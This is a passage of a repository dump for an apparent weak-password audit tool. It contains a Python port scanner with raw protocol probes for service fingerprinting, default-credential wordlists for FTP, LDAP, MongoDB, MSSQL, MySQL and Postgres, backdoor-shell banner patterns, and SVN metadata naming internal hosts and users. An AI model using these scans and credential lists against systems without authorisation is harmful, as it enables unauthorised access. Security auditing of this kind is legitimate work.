    "content": "#coding=utf-8\n__author__ = 'wilson'\nimport sys\nsys.path.append(\"../\")\nfrom comm.config import *\nfrom comm.printers import printPink,printRed,printGreen\n\nimport threading\nfrom threading import Thread\nfrom Queue import Queue\nimport platform\nfrom subprocess import Popen, PIPE\nimport re\nimport time\nimport socket\nsocket.setdefaulttimeout(10)  #设置了全局默认超时时间\n\nclass portscan():\n\n\t\"\"\"docstring for ClassName\"\"\"\n\tdef __init__(self,c,user_ports):\n\t\tself.config=c\n\t\tself.PROBES =[\n\t\t    '\\r\\n\\r\\n',\n\t\t    'GET / HTTP/1.0\\r\\n\\r\\n',\n\t\t    'GET / \\r\\n\\r\\n',\n\t\t    '\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x08\\x08',\n\t\t    '\\x80\\0\\0\\x28\\x72\\xFE\\x1D\\x13\\0\\0\\0\\0\\0\\0\\0\\x02\\0\\x01\\x86\\xA0\\0\\x01\\x97\\x7C\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0',\n\t\t    '\\x03\\0\\0\\x0b\\x06\\xe0\\0\\0\\0\\0\\0',\n\t\t    '\\0\\0\\0\\xa4\\xff\\x53\\x4d\\x42\\x72\\0\\0\\0\\0\\x08\\x01\\x40\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\x40\\x06\\0\\0\\x01\\0\\0\\x81\\0\\x02PC NETWORK PROGRAM 1.0\\0\\x02MICROSOFT NETWORKS 1.03\\0\\x02MICROSOFT NETWORKS 3.0\\0\\x02LANMAN1.0\\0\\x02LM1.2X002\\0\\x02Samba\\0\\x02NT LANMAN 1.0\\0\\x02NT LM 0.12\\0',\n\t\t    '\\x80\\x9e\\x01\\x03\\x01\\x00u\\x00\\x00\\x00 \\x00\\x00f\\x00\\x00e\\x00\\x00d\\x00\\x00c\\x00\\x00b\\x00\\x00:\\x00\\x009\\x00\\x008\\x00\\x005\\x00\\x004\\x00\\x003\\x00\\x002\\x00\\x00/\\x00\\x00\\x1b\\x00\\x00\\x1a\\x00\\x00\\x19\\x00\\x00\\x18\\x00\\x00\\x17\\x00\\x00\\x16\\x00\\x00\\x15\\x00\\x00\\x14\\x00\\x00\\x13\\x00\\x00\\x12\\x00\\x00\\x11\\x00\\x00\\n\\x00\\x00\\t\\x00\\x00\\x08\\x00\\x00\\x06\\x00\\x00\\x05\\x00\\x00\\x04\\x00\\x00\\x03\\x07\\x00\\xc0\\x06\\x00@\\x04\\x00\\x80\\x03\\x00\\x80\\x02\\x00\\x80\\x01\\x00\\x80\\x00\\x00\\x02\\x00\\x00\\x01\\xe4i<+\\xf6\\xd6\\x9b\\xbb\\xd3\\x81\\x9f\\xbf\\x15\\xc1@\\xa5o\\x14,M \\xc4\\xc7\\xe0\\xb6\\xb0\\xb2\\x1f\\xf9)\\xe8\\x98',\n\t\t    '\\x16\\x03\\0\\0S\\x01\\0\\0O\\x03\\0?G\\xd7\\xf7\\xba,\\xee\\xea\\xb2`~\\xf3\\0\\xfd\\x82{\\xb9\\xd5\\x96\\xc8w\\x9b\\xe6\\xc4\\xdb<=\\xdbo\\xef\\x10n\\0\\0(\\0\\x16\\0\\x13\\0\\x0a\\0f\\0\\x05\\0\\x04\\0e\\0d\\0c\\0b\\0a\\0`\\0\\x15\\0\\x12\\0\\x09\\0\\x14\\0\\x11\\0\\x08\\0\\x06\\0\\x03\\x01\\0',\n\t\t    '< NTP/1.2 >\\n',\n\t\t    '< NTP/1.1 >\\n',\n\t\t    '< NTP/1.0 >\\n',\n\t\t    '\\0Z\\0\\0\\x01\\0\\0\\0\\x016\\x01,\\0\\0\\x08\\0\\x7F\\xFF\\x7F\\x08\\0\\0\\0\\x01\\0 \\0:\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\04\\xE6\\0\\0\\0\\x01\\0\\0\\0\\0\\0\\0\\0\\0(CONNECT_DATA=(COMMAND=version))',\n\t\t    '\\x12\\x01\\x00\\x34\\x00\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x06\\x01\\x00\\x1b\\x00\\x01\\x02\\x00\\x1c\\x00\\x0c\\x03\\x00\\x28\\x00\\x04\\xff\\x08\\x00\\x01\\x55\\x00\\x00\\x00\\x4d\\x53\\x53\\x51\\x4c\\x53\\x65\\x72\\x76\\x65\\x72\\x00\\x48\\x0f\\x00\\x00',\n\t\t    '\\0\\0\\0\\0\\x44\\x42\\x32\\x44\\x41\\x53\\x20\\x20\\x20\\x20\\x20\\x20\\x01\\x04\\0\\0\\0\\x10\\x39\\x7a\\0\\x01\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\x01\\x0c\\0\\0\\0\\0\\0\\0\\x0c\\0\\0\\0\\x0c\\0\\0\\0\\x04',\n\t\t    '\\x01\\xc2\\0\\0\\0\\x04\\0\\0\\xb6\\x01\\0\\0\\x53\\x51\\x4c\\x44\\x42\\x32\\x52\\x41\\0\\x01\\0\\0\\x04\\x01\\x01\\0\\x05\\0\\x1d\\0\\x88\\0\\0\\0\\x01\\0\\0\\x80\\0\\0\\0\\x01\\x09\\0\\0\\0\\x01\\0\\0\\x40\\0\\0\\0\\x01\\x09\\0\\0\\0\\x01\\0\\0\\x40\\0\\0\\0\\x01\\x08\\0\\0\\0\\x04\\0\\0\\x40\\0\\0\\0\\x01\\x04\\0\\0\\0\\x01\\0\\0\\x40\\0\\0\\0\\x40\\x04\\0\\0\\0\\x04\\0\\0\\x40\\0\\0\\0\\x01\\x04\\0\\0\\0\\x04\\0\\0\\x40\\0\\0\\0\\x01\\x04\\0\\0\\0\\x04\\0\\0\\x40\\0\\0\\0\\x01\\x04\\0\\0\\0\\x02\\0\\0\\x40\\0\\0\\0\\x01\\x04\\0\\0\\0\\x04\\0\\0\\x40\\0\\0\\0\\x01\\0\\0\\0\\0\\x01\\0\\0\\x40\\0\\0\\0\\0\\x04\\0\\0\\0\\x04\\0\\0\\x80\\0\\0\\0\\x01\\x04\\0\\0\\0\\x04\\0\\0\\x80\\0\\0\\0\\x01\\x04\\0\\0\\0\\x03\\0\\0\\x80\\0\\0\\0\\x01\\x04\\0\\0\\0\\x04\\0\\0\\x80\\0\\0\\0\\x01\\x08\\0\\0\\0\\x01\\0\\0\\x40\\0\\0\\0\\x01\\x04\\0\\0\\0\\x04\\0\\0\\x40\\0\\0\\0\\x01\\x10\\0\\0\\0\\x01\\0\\0\\x80\\0\\0\\0\\x01\\x10\\0\\0\\0\\x01\\0\\0\\x80\\0\\0\\0\\x01\\x04\\0\\0\\0\\x04\\0\\0\\x40\\0\\0\\0\\x01\\x09\\0\\0\\0\\x01\\0\\0\\x40\\0\\0\\0\\x01\\x09\\0\\0\\0\\x01\\0\\0\\x80\\0\\0\\0\\x01\\x04\\0\\0\\0\\x03\\0\\0\\x80\\0\\0\\0\\x01\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\x01\\x04\\0\\0\\x01\\0\\0\\x80\\0\\0\\0\\x01\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\x01\\0\\0\\x40\\0\\0\\0\\x01\\0\\0\\0\\0\\x01\\0\\0\\x40\\0\\0\\0\\0\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\x01\\0\\xff\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\xe4\\x04\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\x7f',\n\t\t    '\\x41\\0\\0\\0\\x3a\\x30\\0\\0\\xff\\xff\\xff\\xff\\xd4\\x07\\0\\0\\0\\0\\0\\0test.$cmd\\0\\0\\0\\0\\0\\xff\\xff\\xff\\xff\\x1b\\0\\0\\0\\x01serverStatus\\0\\0\\0\\0\\0\\0\\0\\xf0\\x3f\\0'\n\t\t    ]\n\t\tself.SIGNS =self.config.file2list(\"conf/signs.conf\")\n\t\tself.ports=[]\n\t\tself.getports(user_ports)\n\t\tself.lock = threading.Lock()\n\t\tself.pinglist=[]\n\t\tself.q=Queue()\n\t\tself.sp=Queue()\n\t\tself.signs=self.prepsigns()\n\n\t\tself.ipdict={}\n\t\tself.ipdict['ldap']=[]\n\t\tself.ipdict['mysql']=[]\n\t\tself.ipdict['mssql']=[]\n\t\tself.ipdict['ftp']=[]\n\t\tself.ipdict['ssh']=[]\n\t\tself.ipdict['smb']=[]\n\t\tself.ipdict['vnc']=[]\n\t\tself.ipdict['pop3']=[]\n\t\tself.ipdict['rsync']=[]\n\t\tself.ipdict['http']=[]\n\t\tself.ipdict['https']=[]\n\t\tself.ipdict['mongodb']=[]\n\t\tself.ipdict['postgres']=[]\n\t\tself.ipdict['redis']=[]\n\t\tself.ipdict['ssl']=[]\n\t\tself.ipdict['Unknown']=[]\n\n\n\t#获取扫描端口列表\n\tdef getports(self,user_ports):\n\t    if user_ports=='':\n\t        self.ports=[21,22,23,80,81,443,389,445,843,873,1043,1099,1194,1433,1434,1521,2601,2604,3306,3307,3128,3389,3812,4440,4848,5432,5900,5901,5902,5903,6082,6000,6379,7001,7002,8080,8181,8888,8090,8000,8008,8009,8081,8088,8089,9000,9080,9043,9090,9091,9200,9528,10000,11211,10022,15000,16000,22022,22222,27017,28017,17017,18017,11321,50060]\n\t    else:\n\t        try:\n\t            if user_ports.find(\",\")>0:\n\t                for port in user_ports.split(','):\n\t                    self.ports.append(int(port))\n\n\t            elif user_ports.find(\"-\")>0:\n\t                startport=int(user_ports.split('-')[0])\n\t                endport=int(user_ports.split('-')[1])\n\t                for i in xrange(startport,endport+1):\n\t                    self.ports.append(i)\n\t            else:\n\t                self.ports.append(int(user_ports))\n\t        except :\n\t            printRed('[!] not a valid ports given. you should put ip like 22,80,1433 or 22-1000')\n\t            exit()\n\n\t#ping扫描函数\n\tdef pinger(self):\n\t    while True:\n\t        ip=self.q.get()\n\t        if platform.system()=='Linux':\n\t            p=Popen(['ping','-c 2',ip],stdout=PIPE)\n\t            m = re.search('(\\d)\\sreceived', p.stdout.read())\n\t            try:\n\t                if m.group(1)!='0':\n\t                    self.pinglist.append(ip)\n\t                    self.lock.acquire()\n\t                    printRed(\"%s is live!!\\r\\n\" % ip)\n\t                    self.lock.release()\n\t            except:pass\n\n\t        if platform.system()=='Darwin':\n\t            import commands\n\t            p=commands.getstatusoutput(\"ping -c 2 \"+ip)\n\t            m = re.findall('ttl', p[1])\n\t            try:\n\t                if m:\n\t                    self.pinglist.append(ip)\n\t                    self.lock.acquire()\n\t                    printRed(\"%s is live!!\\r\\n\" % ip)\n\t                    self.lock.release()\n\t            except:pass\n\n\t        if platform.system()=='Windows':\n\t            p=Popen('ping -n 2 ' + ip, stdout=PIPE)\n\t            m = re.findall('TTL', p.stdout.read())\n\t            if m:\n\t                self.pinglist.append(ip)\n\t                self.lock.acquire()\n\t                printRed(\"%s is live!!\\r\\n\" % ip)\n\t                self.lock.release()\n\t        self.q.task_done()\n\n\n\tdef pingscan(self,isping,threads,ips):\n\t\t    starttime=time.time()\n\t\t    friststarttime=time.time()\n\t\t    print \"[*] start Scanning at %s\" % time.ctime()\n\t\t    #isping=='no' 就禁ping扫描\n\t\t    #默认ping 扫描\n\t\t    if isping=='yes':\n\t\t    \tprint \"Scanning for live machines...\"\n\t\t        for i in xrange(threads):\n\t\t            t = Thread(target=self.pinger)\n\t\t            t.setDaemon(True)\n\t\t            t.start()\n\t\t        for ip in ips:\n\t\t            self.q.put(ip)\n\n\t\t        self.q.join()\n\n\t\t    else:\n\t\t        self.pinglist=ips\n\n\t\t    if len(self.pinglist)==0:\n\t\t        print \"not find any live machine - -|||\"\n\t\t        exit()\n\n\t\t    print \"[*] Scanning for live machines done,it has Elapsed time:%s \" % (time.time()-starttime)\n\n\n\n\tdef prepsigns(self):\n\t    signlist=[]\n\t    for item in self.SIGNS:\n\t        (label,pattern)=item.split('|',2)\n\t        sign=(label,pattern)\n\t        signlist.append(sign)\n\t    return signlist\n\n\tdef matchbanner(self,banner,slist):\n\t    #print banner\n\t    for item in slist:\n\t        p=re.compile(item[1])\n\t        #print item[1]\n\t        if p.search(banner)!=None:\n\t            return item[0]\n\t    return 'Unknown'\n\n\n\t#扫端口及其对应服务类型函数\n\tdef scanports(self):\n\t    while True:\n\t        ip,port=self.sp.get()\n\t        #print ip,port \n\t        s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n\t        #判断端口的服务类型\n\t        service='Unknown'\n\t        try:\n\t            s.connect((ip,port))\n\t        except:\n\t            self.sp.task_done()\n\t            continue\n\n\t        try:\n\t            result = s.recv(256)\n\t            service=self.matchbanner(result,self.signs)\n\t        except:\n\t            for probe in self.PROBES:\n\t            \t#print probe\n\t                try:\n\t                    s.close()\n\t                    sd=socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\t                    sd.settimeout(5)\n\t                    sd.connect((ip,port))\n\t                    sd.send(probe)\n\t                except:\n\t                    continue\n\t                try:\n\t                    result=sd.recv(256)\n\t                    service=self.matchbanner(result,self.signs)\n\t                    if service!='Unknown':\n\t                        break\n\t                except:\n\t                    continue\n\n\t        if service not in self.ipdict:\n\t            self.ipdict[service]=[]\n\t            self.ipdict[service].append(ip+':'+str(port))\n\t            self.lock.acquire()\n\t            printRed(\"%s opening %s\\r\\n\" %(ip,port))\n\t            self.lock.release()\n\t        else:\n\t            self.ipdict[service].append(ip+':'+str(port))\n\t            self.lock.acquire()\n\t            printRed(\"%s opening %s\\r\\n\" %(ip,port))\n\t            self.lock.release()\n\n\t        self.sp.task_done()\n\n\n\tdef portsscan(self,threads,file):\n\t    print \"Scanning ports now...\"\n\t    print \"[*] start Scanning live machines' ports at %s\" % time.ctime()\n\t    starttime=time.time()\n\n\t    for i in xrange(threads):\n\t        st=Thread(target=self.scanports)\n\t        st.setDaemon(True)\n\t        st.start()\n\n\t    for scanip in self.pinglist:\n\t        for port in self.ports:\n\t            self.sp.put((scanip,port))\n\t    self.sp.join()\n\t    print \"[*] Scanning ports done,it has Elapsed time:%s \" % (time.time()-starttime)\n\t    #将服务端口 信息 记录文件\n\t    for name in self.ipdict.keys():\n\t        if len(self.ipdict[name]):\n\t            contents=str(name)+' service has:\\n'+'       '+str(self.ipdict[name])+'\\n'\n\t            self.config.write_file(contents=contents,file=file)\t    \n\t    \n\n\t#处理没有识别的服务\n\tdef handleunknown(self):    \n\t    for ip in self.ipdict['Unknown']:\n\t        #print ip\n\t        try:\n\t            if str(ip).split(':')[1]=='389':\n\t                    self.ipdict['ldap'].append(ip)\n\t            if str(ip).split(':')[1]=='445':\n\t                    self.ipdict['smb'].append(ip)\n\t            if str(ip).split(':')[1] in ['3306','3307','3308','3309']:\n\t                    self.ipdict['mysql'].append(ip)\n\t            if str(ip).split(':')[1]=='1433':\n\t                    self.ipdict['mssql'].append(ip)\n\t            if str(ip).split(':')[1] in ['10022','22']:\n\t                    self.ipdict['ssh'].append(ip)\n\t            if str(ip).split(':')[1]=='27017':\n\t                    self.ipdict['mongodb'].append(ip)\n\t            if str(ip).split(':')[1]=='110':\n\t                    self.ipdict['pop3'].append(ip)\n\t            if str(ip).split(':')[1]=='5432':\n\t                    self.ipdict['postgres'].append(ip)\n\t            if str(ip).split(':')[1]=='443':\n\t                    self.ipdict['ssl'].append(ip)\n\t            if str(ip).split(':')[1]=='873':\n\t                    self.ipdict['rsync'].append(ip)\n\t            if str(ip).split(':')[1]=='6379':\n\t                    self.ipdict['redis'].append(ip)\n#\t            if str(ip).split(':')[1]=='21':\n#\t                    self.ipdict['ftp'].append(ip)\n\t        except Exception as e:\n\t            print e\n\t    #处理被识别为http的mongo\n\t    for ip in self.ipdict['http']:\n\t        if str(ip).split(':')[1]=='27017':\n\t            self.ipdict['http'].remove(ip)\n\t            self.ipdict['mongodb'].append(ip)\n\n\tdef run(self,isping,threads,ips,file):\n\t\tself.pingscan(isping,threads,ips)\n\t\tself.portsscan(threads,file)\n\t\tself.handleunknown()\n\n\n  \n\t    \n\n\n"
  },
  {
    "path": "Weak_Password/Bruteforce/comm/printers.py",
    "content": "import ctypes,sys\nimport platform\n\nif platform.system()=='Linux' or platform.system()=='Darwin':\n    class colors:\n        BLACK         = '\\033[0;30m'\n        DARK_GRAY     = '\\033[1;30m'\n        LIGHT_GRAY    = '\\033[0;37m'\n        BLUE          = '\\033[0;34m'\n        LIGHT_BLUE    = '\\033[1;34m'\n        GREEN         = '\\033[0;32m'\n        LIGHT_GREEN   = '\\033[1;32m'\n        CYAN          = '\\033[0;36m'\n        LIGHT_CYAN    = '\\033[1;36m'\n        RED           = '\\033[0;31m'\n        LIGHT_RED     = '\\033[1;31m'\n        PURPLE        = '\\033[0;35m'\n        LIGHT_PURPLE  = '\\033[1;35m'\n        BROWN         = '\\033[0;33m'\n        YELLOW        = '\\033[1;33m'\n        WHITE         = '\\033[1;37m'\n        DEFAULT_COLOR = '\\033[00m'\n        RED_BOLD      = '\\033[01;31m'\n        ENDC          = '\\033[0m'\n\n    def printRed(mess):\n        mess=mess.strip('\\r\\n')\n        print colors.RED    + mess + colors.ENDC\n\n    def printPink(mess):\n        mess=mess.strip('\\r\\n')\n        print colors.BLUE   + mess+ colors.ENDC\n\n    def printGreen(mess):\n        mess=mess.strip('\\r\\n')\n        print colors.GREEN + mess + colors.ENDC\n\n\nif platform.system()=='Windows':\n    STD_INPUT_HANDLE = -10\n    STD_OUTPUT_HANDLE = -11\n    STD_ERROR_HANDLE = -12\n\n    FOREGROUND_BLACK = 0x0\n    FOREGROUND_BLUE = 0x01 # text color contains blue.\n    FOREGROUND_GREEN = 0x02 # text color contains green.\n    FOREGROUND_RED = 0x04 # text color contains red.\n\n    FOREGROUND_INTENSITY = 0x08 # text color is intensified.\n    BACKGROUND_BLUE = 0x10 # background color contains blue.\n    BACKGROUND_GREEN = 0x20 # background color contains green.\n    BACKGROUND_RED = 0x40 # background color contains red.\n    BACKGROUND_INTENSITY = 0x80 # background color is intensified.\n\n\n    std_out_handle = ctypes.windll.kernel32.GetStdHandle(STD_OUTPUT_HANDLE)\n\n    def set_cmd_text_color(color, handle=std_out_handle):\n        Bool = ctypes.windll.kernel32.SetConsoleTextAttribute(handle, color)\n        return Bool\n\n    def resetColor():\n        set_cmd_text_color(FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE)\n\n    def printRed(mess):\n        set_cmd_text_color(FOREGROUND_RED | FOREGROUND_INTENSITY)\n        sys.stdout.write(mess)\n        resetColor()\n\n    def printPink(mess):\n        set_cmd_text_color(FOREGROUND_RED | FOREGROUND_BLUE| FOREGROUND_INTENSITY)\n        print(mess)\n        resetColor()\n\n    def printGreen(mess):\n        set_cmd_text_color(FOREGROUND_GREEN | FOREGROUND_INTENSITY)\n        sys.stdout.write(mess)\n        resetColor()\n"
  },
  {
    "path": "Weak_Password/Bruteforce/conf/.svn/all-wcprops",
    "content": "K 25\nsvn:wc:ra_dav:version-url\nV 43\n/svn/asoc/!svn/ver/2793/trunk/portScan/conf\nEND\nconfig.txt\nK 25\nsvn:wc:ra_dav:version-url\nV 54\n/svn/asoc/!svn/ver/2793/trunk/portScan/conf/config.txt\nEND\n"
  },
  {
    "path": "Weak_Password/Bruteforce/conf/.svn/entries",
    "content": "10\n\ndir\n3928\nhttp://weisen.cws@sources.alipay.net/svn/asoc/trunk/portScan/conf\nhttp://weisen.cws@sources.alipay.net/svn/asoc\n\n\n\n2014-12-16T07:44:40.829054Z\n2793\npengliu.lp\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n4b2b8d61-1d8c-441e-9e62-9f354fa0bc87\n\f\nconfig.txt\nfile\n\n\n\n\n2015-08-28T10:59:17.000000Z\nfedd5f2201b8a8c4cb5eb448e116d05b\n2014-12-16T07:44:40.829054Z\n2793\npengliu.lp\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n72\n\f\n"
  },
  {
    "path": "Weak_Password/Bruteforce/conf/.svn/text-base/config.txt.svn-base",
    "content": "<task> \n[global] \ntask_type = 1\n\n<log>\n[global]\nlogfile = ./log/log.txt\n"
  },
  {
    "path": "Weak_Password/Bruteforce/conf/ftp.conf",
    "content": "ftp:ftp@163.com\nftp:ftp\nftp:1\nftp:12\nftp:123\nftp:1234\nftp:12345\nftp:123456\nftp:1234567\nftp:12345678\nftp:123456789\nftp:1234567890\nftp:654321\nftp:54321\nftp:00000000\nftp:88888888\nftp:pass\nftp:password\nftp:passwd\nftp:!@#$%^\nftp:1q2w3e\nftp:qawsed\nftp:pwd\nftp:1qaz2ws3e4\nftp:qazwsxedc\nftp:!@#$%^&*\nftp:ftp21\nftp:ftppass\nftp:ftp221\nftp:ftppassword\nftp:ftppasswd\nadmin:1\nadmin:12\nadmin:admin\nadmin:123\nadmin:1234\nadmin:12345\nadmin:123456\nadmin:1234567\nadmin:12345678\nadmin:123456789\nadmin:1234567890\nadmin:654321\nadmin:54321\nadmin:00000000\nadmin:88888888\nadmin:pass\nadmin:password\nadmin:passwd\nadmin:!@#$%^\nadmin:1q2w3e\nadmin:qawsed\nadmin:pwd\nadmin:1qaz2ws3e4\nadmin:qazwsxedc\nadmin:!@#$%^&*\nadmin:rootpass\nadmin:rootpassword\nadmin:rootpasswd\ntest:1\ntest:12\ntest:123\ntest:1234\ntest:12345\ntest:123456\ntest:1234567\ntest:12345678\ntest:123123\ntest:123456789\ntest:test\ntest:654321\ntest:54321"
  },
  {
    "path": "Weak_Password/Bruteforce/conf/ldapd.conf",
    "content": "Anonymous:\nManager:123456\nManager:secret\nManager:1\nManager:12\nManager:123\nManager:1234\nManager:12345\nManager:123456\nManager:1234567\nManager:12345678\nManager:123456789\nManager:1234567890\nManager:654321\nManager:54321\nManager:00000000\nManager:88888888\nManager:pass\nManager:password\nManager:passwd\nManager:!@#$%^\nManager:1q2w3e\nManager:qawsed\nManager:pwd\nManager:1qaz2ws3e4\nManager:qazwsxedc\nManager:!@#$%^&*"
  },
  {
    "path": "Weak_Password/Bruteforce/conf/mongodb.conf",
    "content": "anonymous:\nmongodb:1\nmongodb:12\nmongodb:123\nmongodb:1234\nmongodb:12345\nmongodb:123456\nmongodb:1234567\nmongodb:12345678\nmongodb:123456789\nmongodb:1234567890\nmongodb:654321\nmongodb:54321\nmongodb:mongodb\nmongodb:00000000\nmongodb:88888888\nmongodb:pass\nmongodb:password\nmongodb:passwd\nmongodb:!@#$%^\nmongodb:1q2w3e\nmongodb:qawsed\nmongodb:pwd\nmongodb:1qaz2ws3e4\nmongodb:qazwsxedc\nmongodb:!@#$%^&*\nmongodb:rootpass\nmongodb:rootpassword\nmongodb:rootpasswd\nroot:1\nroot:12\nroot:root\nroot:root123\nroot:root123456\nroot:123\nroot:1234\nroot:12345\nroot:123456\nroot:1234567\nroot:12345678\nroot:123456789\nroot:1234567890\nroot:654321\nroot:54321\nroot:00000000\nroot:88888888\nroot:pass\nroot:password\nroot:passwd\nroot:!@#$%^\nroot:1q2w3e\nroot:qawsed\nroot:pwd\nroot:test\nroot:qwe123\nroot:1qaz2ws3e4\nroot:qazwsxedc\nroot:!@#$%^&*\nroot:root123\nroot:root123456\nroot:rootpass\nroot:rootpassword\nroot:rootpasswd\nroot:admin\nroot:admin123\nroot:-\nroot:_\nroot:1qaz2wsx\nroot:666666\nroot:888888\nroot:123123\nroot:toor\nroot:123abc\nroot:passw0rd\nadmin:1\nadmin:12\nadmin:admin\nadmin:123\nadmin:1234\nadmin:12345\nadmin:123456\nadmin:1234567\nadmin:12345678\nadmin:123456789\nadmin:1234567890\nadmin:654321\nadmin:54321\nadmin:00000000\nadmin:88888888\nadmin:pass\nadmin:password\nadmin:passwd\nadmin:!@#$%^\nadmin:1q2w3e\nadmin:qawsed\nadmin:pwd\nadmin:1qaz2ws3e4\nadmin:qazwsxedc\nadmin:!@#$%^&*\nadmin:rootpass\nadmin:rootpassword\nadmin:rootpasswd\ntest:1\ntest:12\ntest:123\ntest:1234\ntest:12345\ntest:123456\ntest:1234567\ntest:123123\ntest:12345678\ntest:123456789\ntest:test\ntest:654321\ntest:54321"
  },
  {
    "path": "Weak_Password/Bruteforce/conf/mssql.conf",
    "content": "sa:1\nsa:\nsa:sa\nsa:sa123\nsa:12\nsa:123\nsa:1234\nsa:12345\nsa:123456\nsa:1234567\nsa:12345678\nsa:123456789\nsa:1234567890\nsa:654321\nsa:54321\nsa:00000000\nsa:88888888\nsa:pass\nsa:password\nsa:passwd\nsa:!@#$%^\nsa:1q2w3e\nsa:qawsed\nsa:pwd\nsa:1qaz2ws3e4\nsa:qazwsxedc\nsa:!@#$%^&*\nsa:sa1433\nsa:sapass\nsa:sa1434\nsa:sapassword\nsa:sapasswd\nsa:aS6kR9auNM\n"
  },
  {
    "path": "Weak_Password/Bruteforce/conf/mysql.conf",
    "content": "root:1\nroot:12\nroot:123\nroot:1234\nroot:12345\nroot:123456\nroot:1234567\nroot:12345678\nroot:123456789\nroot:1234567890\nroot:654321\nroot:54321\nroot:00000000\nroot:88888888\nroot:\nroot:root\nroot:root123\nroot:root123456\nroot:pass\nroot:password\nroot:passwd\nroot:!@#$%^\nroot:1q2w3e\nroot:qawsed\nroot:pwd\nroot:1qaz2ws3e4\nroot:qazwsxedc\nroot:!@#$%^&*\nroot:root3306\nroot:rootpass\nroot:root3307\nroot:rootpassword\nroot:rootpasswd\nmysql:1\nmysql:12\nmysql:123\nmysql:1234\nmysql:12345\nmysql:123456\nmysql:1234567\nmysql:12345678\nmysql:123456789\nmysql:1234567890\nmysql:654321\nmysql:54321\nmysql:00000000\nmysql:mysql\nmysql:88888888\nmysql:pass\nmysql:password\nmysql:passwd\nmysql:!@#$%^\nmysql:1q2w3e\nmysql:qawsed\nmysql:pwd\nmysql:1qaz2ws3e4\nmysql:qazwsxedc\nmysql:!@#$%^&*\nmysql:root3306\nmysql:rootpass\nmysql:root3307\nmysql:rootpassword\nmysql:rootpasswd\ntest:1\ntest:123123\ntest:12\ntest:123\ntest:1234\ntest:12345\ntest:123456\ntest:1234567\ntest:12345678\ntest:123456789\ntest:test\ntest:654321"
  },
  {
    "path": "Weak_Password/Bruteforce/conf/pop3.conf",
    "content": ""
  },
  {
    "path": "Weak_Password/Bruteforce/conf/postgres.conf",
    "content": "root:1\nroot:12\nroot:123\nroot:x90x00\nroot:1234\nroot:12345\nroot:123456\nroot:1234567\nroot:12345678\nroot:123456789\nroot:1234567890\nroot:654321\nroot:54321\nroot:00000000\nroot:88888888\nroot:root\nroot:root123\nroot:root123456\nroot:pass\nroot:motianlun\nroot:mofashi\nroot:password\nroot:passwd\nroot:!@#$%^\nroot:1q2w3e\nroot:qawsed\nroot:pwd\nroot:1qaz2ws3e4\nroot:qazwsxedc\nroot:!@#$%^&*\nroot:root3306\nroot:rootpass\nroot:root3307\nroot:rootpassword\nroot:rootpasswd\npostgres:1\npostgres:12\npostgres:123\npostgres:1234\npostgres:12345\npostgres:123456\npostgres:1234567\npostgres:12345678\npostgres:123456789\npostgres:1234567890\npostgres:postgres\npostgres:654321\npostgres:54321\npostgres:88888888\npostgres:pass\npostgres:password\npostgres:passwd\npostgres:!@#$%^\npostgres:1q2w3e\npostgres:qawsed\npostgres:pwd\npostgres:1qaz2ws3e4\npostgres:qazwsxedc\npostgres:!@#$%^&*\npostgres:postgres654321\npostgres:postgres123456\npostgres:postgres123\npostgres:postgrespassword\npostgres:postgrespasswd"
  },
  {
    "path": "Weak_Password/Bruteforce/conf/signs.conf",
    "content": "http|^HTTP.*\nhttp|^HTTP/0.\nhttp|^HTTP/1.\nhttp|<HEAD>.*<BODY>\nhttp|<HTML>.*\nhttp|<html>.*\nhttp|<!DOCTYPE.*\nhttp|^Invalid requested URL \nhttp|.*<?xml\nhttp|^HTTP/.*\\nServer: Apache/1\nhttp|^HTTP/.*\\nServer: Apache/2\nhttp|.*Microsoft-IIS.*\nhttp|^HTTP/.*\\nServer: Microsoft-IIS\nhttp|^HTTP/.*Cookie.*ASPSESSIONID\nhttp|^<h1>Bad Request .Invalid URL.</h1>\nredis|ERR unknown command\nredis|ERR wrong number of arguments\nmongodb|^.*version.....([\\.\\d]+)\npop3|.*POP3.*\npop3|.*pop3.*\nssh|SSH-2.0-OpenSSH.*\nssh|SSH-1.0-OpenSSH.*\nssh|.*ssh.*\nbackdoor-fxsvc|^500 Not Loged in\nbackdoor-shell|GET: command\nbackdoor-shell|sh: GET:\nbachdoor-shell|[a-z]*sh: .* command not found\nbackdoor-shell|^bash[$#]\nbackdoor-shell|^sh[$#]\nbackdoor-cmdshell|^Microsoft Windows .* Copyright .*>\nftp|^220.*\\n331\nftp|^220.*\\n530\nftp|^220.*FTP\nftp|^220 .* Microsoft .* FTP\nftp|^220 Inactivity timer\nftp|^220 .* 